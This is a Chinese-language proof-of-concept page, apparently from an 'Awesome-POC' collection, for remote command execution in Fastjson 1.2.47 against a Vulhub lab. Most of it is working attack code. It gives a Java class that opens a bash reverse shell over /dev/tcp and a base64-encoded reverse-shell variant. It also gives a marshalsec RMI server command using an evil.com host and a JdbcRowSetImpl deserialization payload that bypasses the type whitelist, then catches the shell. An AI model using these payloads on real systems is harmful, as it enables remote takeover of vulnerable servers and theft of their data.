Awesome-POC/开发框架漏洞/Fastjson 1.2.47 远程命令执行漏洞.md
2024-11-06 14:10:36 +08:00

81 lines
2.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Fastjson 1.2.47 远程命令执行漏洞
## 漏洞描述
Fastjson是阿里巴巴公司开源的一款json解析器其性能优越被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单而在1.2.48以前的版本中攻击者可以利用特殊构造的json字符串绕过白名单检测成功执行任意命令。
参考链接:
- https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955
- https://www.freebuf.com/vuls/208339.html
## 环境搭建
Vulhub执行如下命令启动一个spring web项目其中使用fastjson作为默认json解析器
```shell
docker-compose up -d
```
环境启动后,访问`http://your-ip:8090`即可看到一个json对象被返回我们将content-type修改为`application/json`后可向其POST新的JSON对象后端会利用fastjson进行解析。
## 漏洞复现
目标环境是`openjdk:8u102`,这个版本没有`com.sun.jndi.rmi.object.trustURLCodebase`的限制我们可以简单利用RMI进行命令执行。
首先编译并上传命令执行代码,如`http://evil.com/TouchFile.class`
```java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.174.128/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
```
也可以使用bash base64的方式
```java
String[] commands = {"bash", "-c","{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTQ3LjEyNy85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"};
```
然后我们借助[marshalsec](https://github.com/mbechler/marshalsec)项目启动一个RMI服务器监听8888端口并制定加载远程类`TouchFile.class`
```shell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
```
向靶场服务器发送Payload此处的Payload和Fastjson 1.2.24不同):
```
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:8888/TouchFile",
"autoCommit":true
}
}
```
![image-20220223130855285](images/202202231308359.png)
监听9999端口接收反弹shell
![image-20220223130812872](images/202202231308945.png)